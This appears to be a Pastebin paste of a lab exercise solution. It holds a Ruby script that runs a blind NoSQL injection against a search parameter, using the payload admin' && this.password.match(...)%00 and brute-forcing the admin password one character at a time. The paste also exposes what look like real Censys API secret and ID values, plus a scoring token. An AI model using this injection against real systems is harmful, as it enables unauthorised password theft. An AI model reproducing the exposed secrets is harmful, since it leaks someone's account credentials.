Advertisement
magnusvox

Untitled

Oct 14th, 2019
126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.27 KB | None | 0 0
  1. /usr/local/bin/score 197c03cf-f79d-4aec-be2f-9475b29fe23d
  2.  
  3. L3Vzci9sb2NhbC9iaW4vc2NvcmUgMTk3YzAzY2YtZjc5ZC00YWVjLWJlMmYtOTQ3NWIyOWZlMjNkCg==
  4.  
  5. thoVGt1CngqsgHobXYBnJOvfoGe4TX9Y
  6.  
  7. censys_secret fNeKfyX9fJV2Gbz3TY5in7FXxxCnZbSo
  8. censys_id e1e46499-4336-4eb0-8d12-7cb99574d30c
  9.  
  10. require ‘httparty’
  11. URL = “ptl-b3afd112-33332750.libcurl.st”
  12. def check?(str)
  13. resp = HTTParty.get(“http://#{URL}/?search=admin%27%20%26%26%20this.password.match(/#{str}/)%00”)
  14. return resp.body =~ />admin</
  15. end
  16.  
  17. #puts check?(“d”).inspect
  18. #puts check?(“aaa”).inspect
  19.  
  20. CHARSET = (‘a’..’z’).to_a+(‘0’..’9’).to_a+[‘-’]
  21.  
  22. password = “”
  23.  
  24. while true
  25. CHARSET.each do |c|
  26. puts “Trying: #{c} for #{password}”
  27. test = password+c
  28. if check?(“^#{test}.*$”)
  29. password+=c
  30. puts password
  31. break
  32. end
  33. end
  34. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement